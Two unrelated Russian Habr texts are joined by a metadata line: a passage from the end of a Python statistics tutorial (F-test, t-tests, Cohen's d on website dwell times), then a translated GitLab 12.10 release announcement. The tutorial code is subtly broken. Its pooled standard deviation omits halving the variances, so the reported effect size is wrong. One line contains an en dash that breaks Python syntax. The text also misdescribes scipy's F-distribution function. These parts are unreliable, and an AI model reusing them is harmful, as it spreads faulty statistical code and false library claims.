где *SSW*— это *внутригрупповая сумма квадратов*, и *xjk* — это значение *j*-ого элемента в группе .
Приведенная выше формула для вычисления *SSW* имеет грозный вид, но на деле довольно легко имплементируется на Python, как сумма квадратичных отклонений от среднего значения `ssdev`, делающая вычисление внутригрупповой суммы квадратов тривиальным:
```
def ssdev( xs ):
'''Сумма квадратов отклонений между
каждым элементом и средним по выборке'''
mu = xs.mean()
square_deviation = lambda x : (x - mu) ** 2
return sum( map(square_deviation, xs) )
```
*Межгрупповая дисперсия* для *F*-теста имеет похожую формулу:
где *SST* — это *полная сумма квадратов отклонений*, и *SSW* — значение, которое мы только что вычислили. Полная сумма квадратов является суммой квадратичных расхождений от «итогового» среднего значения, которую можно вычислить следующим образом:
Отсюда, *SST* — это попросту полная сумма квадратов без какого-либо разбиения на группы. На языке Python значения *SST* и *SSW* вычисляются элементарно, как будет показано ниже.
```
ssw = sum( groups.apply( lambda g: ssdev(g) ) ) # внутригрупповая сумма
# квадратов отклонений
sst = ssdev( df['dwell-time'] ) # полная сумма квадратов по всему набору
ssb = sst – ssw # межгрупповая сумма квадратов отклонений
```
*F*-статистика вычисляется как отношение межгрупповой дисперсии к внутригрупповой. Объединив определенные ранее функции `ssb` и `ssw` и две степени свободы, мы можем вычислить *F*-статистика.
На языке Python *F*-статистика из групп и двух степеней свободы вычисляется следующим образом:
```
msb = ssb / df1 # усредненная межгрупповая
msw = ssw / df2 # усредненная внутригрупповая
f_stat = msb / msw
```
Имея возможность вычислить *F*-статистику из групп, мы теперь готовы использовать его в соответствующем F-тесте.
F-тест
------
Как и в случае со всеми проверками статистических гипотез, которые мы рассмотрели в этой серии постов, как только имеется выборочная величина (статистика) и распределение, нам попросту нужно подобрать значение уровня значимости и посмотреть, не превысили ли наши данные критическое для теста значение.
Библиотека scipy предлагает функцию `stats.f.sf`, но она измеряет дисперсию между и внутри всего двух групп. В целях выполнения *F*-теста на наших 20 разных группах, нам придется имплементировать для нее нашу собственную функцию. К счастью, мы уже проделали всю тяжелую работу в предыдущих разделах, вычислив надлежащую *F*-статистику. Мы можем выполнить *F*-тест, отыскав *F*-статистику в *F*-распределении, параметризованном правильными степенями свободы. В следующем ниже примере мы напишем функцию `f_test`, которая все это использует для выполнения теста на произвольном числе групп:
```
def f_test(groups):
m, n = len(groups), sum(groups.count())
df1, df2 = m - 1, n - m
ssw = sum( groups.apply(lambda g: ssdev(g)) )
sst = ssdev( df['dwell-time'] )
ssb = sst - ssw
msb = ssb / df1
msw = ssw / df2
f_stat = msb / msw
return stats.f.sf(f_stat, df1, df2)
def ex_2_24():
'''Проверка вариантов дизайна веб-сайта на основе F-теста'''
df = load_data('multiple-sites.tsv')
groups = df.groupby('site')['dwell-time']
return f_test(groups)
```
```
0.014031745203658217
```
В последней строке приведенной выше функции мы преобразуем значение *F*-статистики в *p*-значение, пользуясь функцией `scipy stats.f.sf`, параметризованной правильными степенями свободы. *P*-значение является мерой всей модели, т.е. насколько хорошо разные веб-сайты объясняют дисперсию времени пребывания в целом. Нам остается только выбрать уровень значимости и выполнить проверку. Будем придерживаться 5%-ого уровня значимости.
Проверка возвращает *p*-значение, равное 0.014, т.е. значимый результат. Разные варианты веб-сайта действительно имеют разные дисперсии, которые нельзя просто объяснить одной лишь случайной ошибкой в выборке.
F-распределение со степенями свободы 19 и 980Для визуализации распределений всех вариантов дизайна веб-сайта на одном графике мы можем воспользоваться коробчатой диаграммой, разместив распределения для сопоставления рядом друг с другом:
```
def ex_2_25():
'''Визуализация распределений всех вариантов
дизайна веб-сайта на одной коробчатой диаграмме'''
df = load_data('multiple-sites.tsv')
df.boxplot(by='site', showmeans=True)
plt.xlabel('Номер дизайна веб-сайта')
plt.ylabel('Время пребывания, сек.')
plt.title('')
plt.suptitle('')
plt.show()
```
В приведенном выше примере показана работа функции `boxplot`, которая вычисляет свертку на группах и сортирует группы по номеру варианта дизайна веб-сайта. Соответственно наш изначальный веб-сайт с номером 0, на графике расположен крайним слева.
Может создастся впечатление, что вариант дизайна веб-сайта с номером 10 имеет самое длительное время пребывания, поскольку его межквартильный размах простирается вверх выше других. Однако, если вы присмотритесь повнимательнее, то увидите, что его среднее значение меньше, чем у варианта дизайна с номером 6, имеющего среднее время пребывания более 144 сек.:
```
def ex_2_26():
'''T-проверка вариантов 0 и 10 дизайна веб-сайта'''
df = load_data('multiple-sites.tsv')
groups = df.groupby('site')['dwell-time']
site_0 = groups.get_group(0)
site_10 = groups.get_group(10)
_, p_val = stats.ttest_ind(site_0, site_10, equal_var=False)
return p_val
```
```
0.0068811940138903786
```
Подтвердив статистически значимый эффект при помощи *F*-теста, теперь мы вправе утверждать, что вариант дизайна веб-сайта с номером 6 статистически отличается от изначального значения:
```
def ex_2_27():
'''t-тест вариантов 0 и 6 дизайна веб-сайта'''
df = load_data('multiple-sites.tsv')
groups = df.groupby('site')['dwell-time']
site_0 = groups.get_group(0)
site_6 = groups.get_group(6)
_, p_val = stats.ttest_ind(site_0, site_6, equal_var=False)
return p_val
```
```
0.005534181712508717
```
Наконец, у нас есть подтверждающие данные, из которых вытекает, что веб-сайт с номером 6 является подлинным улучшением существующего веб-сайта. В результате нашего анализа исполнительный директор AcmeContent санкционирует запуск обновленного дизайна веб-сайта. Веб-команда - в восторге!
Размер эффекта
--------------
В этой серии постов мы сосредоточили наше внимание на широко используемых в статистической науке методах проверки статистической значимости, которые обеспечивают обнаружение статистического расхождения, которое не может быть легко объяснено случайной изменчивостью. Мы должны всегда помнить, что выявление значимого эффекта — это не одно и то же, что и выявление большого эффекта. В случае очень больших выборок значимым будет считаться даже крошечное расхождение в выборочных средних. В целях более глубокого понимания того, является ли наше открытие значимым и важным, мы так же должны констатировать величину эффекта.
Интервальный индекс d Коэна
---------------------------
Индекс *d* Коэна — это поправка, которую применяется для того, чтобы увидеть, не является ли наблюдавшееся расхождение не просто статистически значимым, но и действительно большим. Как и поправка Бонферрони, она проста:
Здесь *Sab* — это объединенное стандартное отклонение (не объединенная стандартная ошибка) выборок. Она вычисляется аналогично вычислению объединенной стандартной ошибки:
```
def pooled_standard_deviation(a, b):
'''Объединенное стандартное отклонение
(не объединенная стандартная ошибка)'''
return sp.sqrt( standard_deviation(a) ** 2 +
standard_deviation(b) ** 2)
```
Так, для варианта под номером 6 дизайна нашего веб-сайта мы можем вычислить индекс *d* Коэна следующим образом:
```
def ex_2_28():
'''Вычисление интервального индекса d Коэна
для варианта дизайна веб-сайта под номером 6'''
df = load_data('multiple-sites.tsv')
groups = df.groupby('site')['dwell-time']
a = groups.get_group(0)
b = groups.get_group(6)
return (b.mean() - a.mean()) / pooled_standard_deviation(a, b)
```
```
0.38913648705499848
```
В отличие от *p*-значений, абсолютный порог для индекса *d* Коэна отсутствует. Считать ли эффект большим или нет частично зависит от контекста, однако этот индекс действительно предоставляет полезную, нормализованную меру величины эффекта. Значения выше 0.5, как правило, считаются большими, поэтому значение 0.38 — это умеренный эффект. Он определенно говорит о значительном увеличении времени пребывания на нашем веб-сайте и что усилия, потраченные на обновление веб-сайта, определенно не были бесполезными.
Примеры исходного кода для этого поста находятся в моем [репо](https://github.com/capissimo/python-for-data-science) на Github. Все исходные данные взяты в [репозитории](https://github.com/clojuredatascience/ch2-inference)автора книги.
Резюме
------
В этой серии постов мы узнали о разнице между описательной и инференциальной статистикой, занимающейся методами статистического вывода. Мы еще раз убедились в важности нормального распределения и центральной предельной теоремы, и научились квантифицировать расхождение с популяциями, используя проверку статистических гипотез на основе *z-*теста, *t-*теста и *F*-теста.
Мы узнали о том, каким именно образом методология инференциальной статистики анализирует непосредственно сами выборки, чтобы выдвигать утверждения о всей популяции в целом, из которой они были отобраны. Мы познакомились с целым рядом методов —интервалами уверенности, размножением выборок путем бутстрапирования и проверкой статистической значимости — которые помогают разглядеть глубинные параметры популяции. Симулируя многократные испытания, мы также получили представление о трудности проверки статистической значимости в условиях многократных сравнений и увидели, как *F*-тест помогает решать эту задачу и устанавливать равновесие между ошибками 1-го и 2-го рода.
Мы также коснулись терминологических болевых точек и выяснили некоторые нюансы смыслового дрейфа в отечественной статистике.
В следующей серии постов, если читатели пожелают, мы применим полученные знания о дисперсии и *F*-тесте к одиночным выборкам. Мы представим метод регрессионного анализа и воспользуемся им для обнаружения корреляции между переменными в выборке из спортсменов-олимпийцев. | https://habr.com/ru/post/556856/ | null | ru | null |
# # Вышел релиз GitLab 12.10 с управлением требованиями и автоматическим масштабированием CI на AWS Fargate
GitLab 12.10 помогает командам **контролировать и улучшать соответствие требованиям** с новой фичей «управление требованиями», **уменьшать время цикла и ускорять поставку программного обеспечения** благодаря CI с автоматическим масштабированием на AWS Fargate и **более эффективно управлять портфелем** проектов с отображением состояния тикетов и эпиков (в русской локализации GitLab «цели»).
Соответствовать требованиям стало проще
---------------------------------------
Обеспечение соответствия требованиям — часто встречающаяся задача во многих крупных организациях, где команды и проекты должны продемонстрировать, что они следовали всем процессам и процедурам организации и выполнили то, что на самом деле требовалось. *Действительно ли проект соответствует бизнес-требованиям* — широко распространенный вопрос, и с 12.10 мы представляем [**управление требованиями**](#sozdavayte-i-prosmatrivayte-trebovaniya-v-gitlab) как отдельную категорию в GitLab для помощи в определении, отслеживании и управлении бизнес-требованиями.
Кроме того, в GitLab 12.10 стало проще продемонстрировать соответствие проекта и релиза требованиям, так как больше нет необходимости использовать скрипты для сравнения [**материалов релизов во времени**](#vremennaya-metka-dlya-nablyudeniy-po-relizam). Это поможет командам документировать и подтверждать, что проект выполнен в соответствии с требованиями. Новые [**метки соответствия требованиям для проектов**](#metki-sootvetstviya-trebovaniyam-dlya-proektov) позволят организациям легко указать, что для конкретного проекта требуется соблюдение особых требований по соответствию стандартам.
Также мы подготовили новый [**шаблон проекта для протокола аудита HIPAA**](#novyy-shablon-proekta-dlya-protokola-audita-hipaa) в помощь проектам, которые подлежат аудиту и соблюдению требований HIPAA. С новым релизом станет проще защищать свои секретные ключи с помощью улучшенной [**интеграции хранилища HashiCorp**](#poluchenie-sekretnyh-klyuchey-dlya-cicd-iz-hranilischa-hashicorp), что поможет поддерживать ваши проекты в соответствии с вашими правилами безопасности.
Сократите время цикла и ускорьте поставку на AWS
------------------------------------------------
Меньше всего вам нужно еще одно узкое место, которое потенциально может замедлить поставку. Именно поэтому мы поддерживаем автоматическое масштабирование обработчиков заданий CI от GitLab уже очень, очень долгое время. В GitLab 12.10 мы расширяем наши возможности автоматического масштабирования на AWS Fargate до [**масштабирования обработчиков заданий**](#avtomaticheskoe-masshtabirovanie-ci-zadaniy-gitlab-na-aws-fargate), чтобы конвейеры (в русской локализации GitLab «сборочные линии») могли эффективно масштабироваться для удовлетворения существующего спроса. Кстати об AWS, теперь вы сможете быстрее и проще настраивать ваши приложения с помощью [**предопределенных переменных развертывания AWS**](#legko-nastraivaemye-peremennye-razvertyvaniya-aws). Помимо переменных развертывания, GitLab также помогает с проверкой формата.
Управляйте проектами эффективнее
--------------------------------
Управление несколькими проектами и связанными с ними тикетами — настоящее искусство. Со всей информацией, которую нужно отслеживать, бывает трудно понять, где могут возникнуть проблемы. С релизом 12.10 стало проще отслеживать и делиться [**состоянием тикетов**](#otslezhivanie-sostoyaniya-epikov-i-tiketov), что позволит легко визуализировать общее состояние эпика. Кроме того, мы упрощаем [**импорт тикетов из Jira**](#import-tiketov-iz-jira-v-gitlab) в GitLab, так что команды смогут тратить меньше времени на переключение между инструментами и больше времени на создание хорошего программного обеспечения.
И это еще не все!
-----------------
В кратком описании релиза никогда не хватает места, чтобы выделить все классные новые фичи. Вот еще пара крутых фич, на которые стоит взглянуть: [репозиторий Python PyPI](#sborka-publikaciya-i-rasprostranenie-paketov-python-v-repozitorii-gitlab-pypi) и [сортировка по недавней активности в тикетах и мерж-реквестах](#sortirovka-sobytiy-v-tiketah-i-merzh-rekvestah-po-nedavney-aktivnosti) (в русской локализации GitLab «запросы на слияние»).
[Просим вас оставить фидбек по релизу](https://docs.google.com/forms/d/e/1FAIpQLSdWA8nKZ7eRMDOk3HCJTLRvaSRTY22GGyyE-8cvfCwIuy3Iyg/viewform?usp=sf_link) (на английском) и [приглашаем на наши встречи](https://about.gitlab.com/events/).
[MVP](https://about.gitlab.com/community/mvp/) этого месяца — [Дмитрий Чепуровский](https://gitlab.com/dm3ch)
-------------------------------------------------------------------------------------------------------------
Дмитрий внес большой вклад в этот релиз, добавив поддержку веб-сервера Puma в наш Helm chart `unicorn` ([скоро его название изменится на ‘webservice’](https://about.gitlab.com/releases/2020/04/22/gitlab-12-10-released/#gitlab-chart-improvements)). Это дает пользователям GitLab Helm chart возможность [использовать Puma вместо Unicorn](https://about.gitlab.com/releases/2020/04/22/gitlab-12-10-released/#puma-will-become-the-default-application-server). В ходе тестирования мы отметили 40%-ное снижение использования памяти при использовании Puma в качестве веб-сервера. Дмитрий, мы очень ценим ваше сотрудничество и огромный вклад в добавление Puma к нашим нативным облачным инструментам.
Посмотрите [соответствующий эпик](https://gitlab.com/groups/gitlab-org/charts/-/epics/11) и начните использовать Puma уже сегодня! Спасибо Дмитрию за этот вклад и огромную работу.
Основные фичи релиза GitLab 12.10
---------------------------------
### Создавайте и просматривайте требования в GitLab
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Plan"](https://about.gitlab.com/stages-devops-lifecycle/plan/)
Это первый шаг к управлению соответствию требованиями внутри GitLab. В этой начальной версии у пользователей появилась возможность создавать и просматривать требования на уровне проекта.
Мы часто слышим о трудностях, связанных с внешними инструментами управления требованиями: сложными интеграциями, множеством различных инструментов и запутанными рабочими процессами. Мы верим в силу одного приложения и потому предлагаем возможность хранить все требования, проекты, код и тесты в одном окружении. Система управления требованиями в GitLab еще на стадии развития, скоро появится поддержка отслеживаемости по всем артефактам, что позволит создать непрерывный рабочий процесс, визуально демонстрирующий целостность и соответствие нормативным требованиям.
Для получения дополнительной информации и совместной работы с нами по новой системе управления требованиями загляните в [раздел про развитие категории «Управление требованиями»](https://about.gitlab.com/direction/plan/requirements_management/).
[Документация по управлению требованиями проекта](https://docs.gitlab.com/ee/user/project/requirements/index.html) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/2703).
### Получение секретных ключей для CI/CD из хранилища HashiCorp
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Release"](https://about.gitlab.com/stages-devops-lifecycle/release/)
В этом релизе GitLab добавляет поддержку легковесной аутентификации JSON Web Token (JWT) для интеграции с вашим существующим хранилищем HashiCorp. Теперь вы сможете легко предоставлять секретные ключи для заданий CI/CD, используя [метод JWT-аутентификации HashiCorp](https://www.vaultproject.io/docs/auth/jwt/) вместо того, чтобы вручную передавать их в качестве переменной в GitLab.
[Документация по аутентификации с хранилищем HashiCorp](https://docs.gitlab.com/ee/ci/examples/authenticating-with-hashicorp-vault/index.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/207125).
### Отслеживание состояния эпиков и тикетов
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Plan"](https://about.gitlab.com/stages-devops-lifecycle/plan/)
Управлять многочисленными эпиками среди нескольких групп и проектов бывает непросто. Чтобы помочь пользователям отслеживать состояние проектов и рабочий процесс, GitLab предлагает возможность отмечать состояние отдельных тикетов красным, желтым или зеленым цветом, что приведет к изменению состояния эпика в вашем дереве эпиков. Назначьте тикету состояние **По плану** (**On track**) — зеленый цвет, **Требует внимания** (**Needs attention**) — желтый или **В зоне риска** (**At risk**) — красный и посмотрите сводный отчет о состоянии на уровне эпика. Теперь вы сможете быстро посмотреть и проанализировать, где работа находится под угрозой, чтобы вовремя открыть нужные обсуждения и продолжить работу в соответствии с планом.
[Документация по состоянию в тикетах](https://docs.gitlab.com/ee/user/project/issues/index.html#health-status-ultimate) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/199184).
### Импорт тикетов из Jira в GitLab
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Plan"](https://about.gitlab.com/stages-devops-lifecycle/plan/)
До сих пор переносить тикеты из Jira в GitLab можно было только вручную, с помощью нашего CSV-импортера или с помощью вашей собственной утилиты для миграции. В GitLab 12.10 мы представляем [MVC](https://about.gitlab.com/handbook/product/#the-minimally-viable-change-mvc) автоматического импорта ваших тикетов Jira в GitLab. Это первое из [многих запланированных улучшений](https://gitlab.com/groups/gitlab-org/-/epics/2738), позволяющих сделать переход с Jira на GitLab максимально простым.
Чтобы начать работу, настройте интеграцию Jira в вашем проекте GitLab, нажмите на значок импорта в верхней части списка тикетов вашего проекта и выберите **Импорт из Jira**.
[Документация по импорту из Jira](https://docs.gitlab.com/ee/user/project/import/jira.html) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/2766).
### Автоматическое масштабирование CI-заданий GitLab на AWS Fargate
(CORE, STARTER, PREMIUM, ULTIMATE) [Стадия цикла DevOps: "Verify"](https://about.gitlab.com/stages-devops-lifecycle/verify/)
[Автоматическое масштабирование обработчика заданий GitLab](https://docs.gitlab.com/runner/configuration/autoscale.html) реагирует на потребности заданий CI, предоставляя новые виртуальные машины, размещенные в облаке. Однако, несмотря на то, что эта модель достаточна для определенных случаев использования, в некоторых случаях пользователи также хотят воспользоваться возможностями облачного управления контейнерами для выполнения CI/CD заданий в GitLab. Теперь вы можете автоматически масштабировать GitLab CI на AWS Fargate с помощью MVC [драйвера для AWS Fargate](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/fargate). В этой новой модели автоматического масштабирования наш драйвер для AWS Fargate автоматически запускает каждую сборку в отдельном изолированном контейнере на Elastic Container Service (ECS) от Amazon, используя заданный пользователем образ контейнера.
[Документация по драйверу](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/fargate/-/blob/master/docs/README.md) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2972).
### Легко настраиваемые переменные развертывания AWS
(CORE, STARTER, PREMIUM, ULTIMATE) [Стадия цикла DevOps: "Release"](https://about.gitlab.com/stages-devops-lifecycle/release/)
Применять необходимые переменные окружения при развертывании в AWS должно быть максимально удобно. Теперь можно выбрать предопределенные переменные `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY` и `AWS_DEFAULT_REGION` из списка переменных ключей окружения. Вы также сможете убедиться, что переменные, которые вы вводите, имеют правильный формат.
[Документация по проверке переменных AWS](https://docs.gitlab.com/ee/ci/variables/README.html#custom-variables-validated-by-gitlab) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/26777).
### Присоединяйте перечни задач к Релизам
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Release"](https://about.gitlab.com/stages-devops-lifecycle/release/)
Менеджеры по релизам и сборкам часто отвечают за несколько действий за пределами GitLab для того, чтобы эффективно выпускать релизы. GitLab работает над тем, чтобы сделать страницу Релиза единым источником информации обо всем, что касается ваших релизов. Мы добавили возможность добавлять перечни задач (runbook) к материалам Релиза, так что теперь вы сможете легко отслеживать все связанные действия и контролировать, как они выполняются.
[Документация по материалам релиза](https://docs.gitlab.com/ee/user/project/releases/#release-assets) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/9427).
### Усовершенствованные рабочие процессы безопасности для использования в офлайн-окружениях
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Secure"](https://about.gitlab.com/stages-devops-lifecycle/secure/)
Сканерам безопасности GitLab необходимо подключение к интернету для загрузки обновлений и последних сигнатур. GitLab 12.10 значительно упрощает использование этих сканеров при работе с пользовательскими инстансами GitLab в автономном режиме или с ограниченным подключением к интернету. Несколько корректировок основных заданий сканера обеспечивают поддержку этого рабочего процесса.
[Новая документация](https://docs.gitlab.com/ee/user/application_security/offline_deployments/) описывает высокоуровневый рабочий процесс, необходимый для сканирования безопасности в офлайн-окружении. Мы также добавили особые инструкции по работе на странице документации каждого конкретного сканера.
Мы продолжим добавлять поддержку автономного сканирования безопасности в будущих релизах, предоставляя поддержку дополнительных языков, инструментов и вариантов использования.
[Документация по проверке безопасности в оффлайн-окружениях](https://docs.gitlab.com/ee/user/application_security/offline_deployments/) и [оригинальный тикет](https://gitlab.com/groups/gitlab-org/-/epics/1359).
### Страница статуса
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Monitor"](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
Когда ваш сервис не работает или работает плохо, вашим главным приоритетом становится его восстановление. В то же время вы должны информировать клиентов и заинтересованные стороны о прогрессе в устранении неполадок. Если вы будете держать их в неведении, вы будете получать много гневных писем. Пользователи полагаются на страницы с информацией о состоянии, чтобы убедиться, что провайдеры знают о проблемах, и узнать, что нужно делать. Во время инцидента знание того, какие шаги предпринимаются, чтобы его устранить, вселяет уверенность. Благодаря этому люди могут принимать решения о том, что они будут делать в связи с инцидентом.
Мы представляем новую **страницу состояния GitLab**. Держите пользователей, клиентов и заинтересованные стороны в курсе происходящего во время инцидента. Перенаправляйте информацию об инциденте, например, описание тикетов и выборку комментариев, из частного тикета на общедоступную веб-страницу. Работайте непосредственно с тикетом инцидента, который вы уже используете для фильтрации и устранения неполадок, вместо того, чтобы переключаться между множеством различных инструментов.
Для начала мы нацелились на один конкретный случай использования. Мы разработали страницу статуса, на которой из тикетов специального проекта по управлению инцидентами на приватном инстансе GitLab публикуется информация в публичные страницы статуса. Посетите раздел [развития страницы статуса](https://about.gitlab.com/direction/monitor/debugging_and_health/status_page/), чтобы ознакомиться с нашими планами по добавлению возможностей и поддержке большего количества вариантов использования.
[Документация по странице статуса](https://docs.gitlab.com/ee/user/project/status_page/) и [оригинальный тикет](https://gitlab.com/groups/gitlab-org/-/epics/2479).
### Сборка, публикация и распространение пакетов Python в репозитории GitLab PyPI
(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: "Package"](https://about.gitlab.com/stages-devops-lifecycle/package/)
Разработчикам Python нужен удобный механизм создания, обмена и использования пакетов, которые содержат скомпилированный код и другое содержимое, в нужных проектах. PyPI — проект с открытым исходным кодом, поддерживаемый Python Packaging Authority, — является стандартом по определению, созданию, хостингу и использованию пакетов Python.
В GitLab 12.10 мы с гордостью представляем репозитории PyPI, встроенные напрямую в GitLab! Теперь у разработчиков будет более удобный способ публиковать Python-пакеты своих проектов. Интеграция GitLab с PyPI предоставит централизованную локацию для хранения и просмотра этих пакетов в том же месте, где находится их исходный код и конвейеры.
В марте мы объявили, что репозиторий GitLab PyPI и поддержка форматов других менеджеров пакетов будут переведены [в открытый исходный код](https://habr.com/ru/post/498392/). Вы можете посмотреть, как мы работаем над тем, чтобы сделать эти фичи более доступными [в этом эпике](https://gitlab.com/groups/gitlab-org/-/epics/2867).
[Документация по репозиторию PyPI](https://docs.gitlab.com/ee/user/packages/pypi_repository/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/10483).
### Статистика по правилам сетевой безопасности реестра контейнеров
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Defend"](https://about.gitlab.com/stages-devops-lifecycle/defend/)
Мы с радостью представляем вам статистику по правилам сетевой безопасности реестра контейнеров! Теперь вы можете видеть данные по общему и заблокированному трафику, что позволит вам проще определять, как настраивать, регулировать и оценивать ваши сетевые правила.
Статистика по правилам реестра контейнеров появится на новой странице **Мониторинг угроз** (**Threat Monitoring**) в пункте меню **Безопасность и соответствие требованиям** (**Security & Compliance**). По умолчанию эти данные отображаются за 30-дневный период.
[Документация по сетевым правилам реестра контейнеров](https://docs.gitlab.com/ee/user/application_security/threat_monitoring/#container-network-policy) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/32365).
### Управление режимами логирования и блокировки файервола веб-приложений
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Defend"](https://about.gitlab.com/stages-devops-lifecycle/defend/)
Для более удобной настройки правил для избежания ложноположительных и ложноотрицательных результатов вы можете глобально переключить ваш файервол веб-приложений в режим **Логирование** (**Logging**) или **Блокировка** (**Blocking**) на странице **Операции -> Kubernetes** (**Operations -> Kubernetes**).
[Документация по режимам логирования и блокировки](https://docs.gitlab.com/ee/user/clusters/applications.html#logging-and-blocking-modes) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/207173).
Другие улучшения в GitLab 12.10
-------------------------------
### Временная метка для наблюдений по релизам
(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: "Release"](https://about.gitlab.com/stages-devops-lifecycle/release/)
В версии 12.6 GitLab представил модернизированный подход к сбору всей необходимой информации для поддержки соответствия требованиям и аудита в рамках релиза. В 12.10 мы добавили фичу, которая будет создавать временную метку с датой сбора наблюдений Релиза рядом со ссылкой на скачивание хэша наблюдений. Это позволит членам команды с ролью auditor с легкостью сравнивать, как меняются наблюдения по релизу с течением времени вместо того, чтобы писать скрипт для сборки и сравнения каждого фрагмента наблюдений.
[Документация по наблюдениям по релизу](https://docs.gitlab.com/ee/user/project/releases/#release-evidence) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/199065).
### Новый шаблон проекта для протокола аудита HIPAA
(PREMIUM, ULTIMATE) [Стадия цикла DevOps: "Manage"](https://about.gitlab.com/stages-devops-lifecycle/manage/)
В GitLab вы можете автоматизировать повторяющиеся рабочие процессы протокола аудита HIPAA. GitLab нативно поможет вам упростить эту работу путем управления [тикетами](https://docs.gitlab.com/ee/user/project/issues/) и [шаблонами проектов](https://docs.gitlab.com/ee/gitlab-basics/create-project.html#project-templates). Этот процесс поможет сопоставить новые тикеты с требованиями протокола аудита HIPAA, а также поможет вашей организации управлять сбором наблюдений аудита и общим состоянием в рамках вашего рабочего процесса в GitLab.
GitLab теперь поддерживает протокол аудита HIPAA с новым шаблоном для версии Enterprise. Для помощи в соблюдении требований GitLab предоставляет новый шаблон для создания проектов со 180 тикетами, которые распределены в соответствии с протоколом аудита HIPAA. Каждый тикет служит как контрольный журнал для каждого протокола HIPAA и может помочь командам оставаться на связи при управлении программами по соблюдению требований HIPAA в GitLab.
[Документация по шаблонам Enterprise](https://docs.gitlab.com/ee/gitlab-basics/create-project.html#enterprise-templates-ultimate) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/13756).
### Настройка даты истечения срока действия ключа SSH
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Manage"](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Организациям, нацеленным на соблюдение требований, нужен способ контролировать доступ к их окружению GitLab через SSH. Ключи SSH, как правило, создаются без срока действия. И это является проблемой для организаций с правилами управления доступом и/или данными для доступа, которые требуют определения даты истечения срока действия для всех данных доступа к учетным записям. С этим релизом GitLab поддерживает настройку срока ключей SSH через пользовательский интерфейс GitLab.
[Документация по добавлению ключей SSH к вашему аккаунту](https://docs.gitlab.com/ee/ssh/#adding-an-ssh-key-to-your-gitlab-account) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/36243).
### MVC для обзора активности в группе
(STARTER, PREMIUM, ULTIMATE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Manage"](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Руководителям разработки и администраторам GitLab важно знать, как их команды используют GitLab. С этим MVC мы добавили три счетчика на страницу группы: счетчики мерж-реквестов, тикетов и пользователей, добавленных в группу, — все это за последние 90 дней. Эта фича доступна в [бета-версии](https://about.gitlab.com/handbook/product/#beta).
[Документация по аналитике активности в группе](https://docs.gitlab.com/ee/user/group/#group-activity-analytics-overview) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/207164).
### Сортировка событий в тикетах и мерж-реквестах по недавней активности
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Plan"](https://about.gitlab.com/stages-devops-lifecycle/plan/)
Тикеты — это один из основных инструментов для совместной работы в GitLab. По умолчанию события в них отсортированы по дате последних обсуждений и системных заметок от старого к новому. Это очень удобно в таких случаях, как изучение истории данного тикета. Однако это гораздо менее удобно для команд, работающих в режиме разбора и устранения проблем, так как для просмотра последних обновлений им приходится пролистывать до самого конца страницы тикета.
Теперь вы сможете изменить порядок по умолчанию, так чтобы наверху была недавняя активность. Ваши предпочтения по сортировке в тикетах и мерж-реквестах сохраняются отдельно через локальное хранилище и автоматически применяются к каждому тикету и мерж-реквесту, который вы просматриваете.
[Документация по сортировке по недавней активности](https://docs.gitlab.com/ee/user/project/issues/issue_data_and_actions.html#activity-sort-order) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/14588).
### Миниатюры дизайнов
(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: "Create"](https://about.gitlab.com/stages-devops-lifecycle/create/)
Дизайны, загружаемые в тикеты, могут быть довольно большими по размеру файла. Загрузка этих файлов может занимать много времени, особенно если в вашем тикете больше одного дизайна. Начиная с этого релиза GitLab будет автоматически генерировать миниатюры дизайнов и использовать их для ускорения загрузки вкладки с дизайнами. Это также позволит ускорить загрузку дизайнов в других разделах GitLab, когда мы продолжим работать над нашей фичей по управлению дизайнами.
Мы протестировали [мокап домашней страницы GitLab](https://gitlab.com/gitlab-com/www-gitlab-com/uploads/8e5d9f965c05c6963f4fd3bb487458ec/test.png), изображение размером 1222 на 5113 пикселей и занимающее 2.6 Мб. С генерацией миниатюры размер изображения уменьшается до 0.018 Мб, что на *~99.9% меньше оригинала!*
[Документация по добавлению дизайнов](https://docs.gitlab.com/ee/user/project/issues/design_management.html#adding-designs) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/12577).
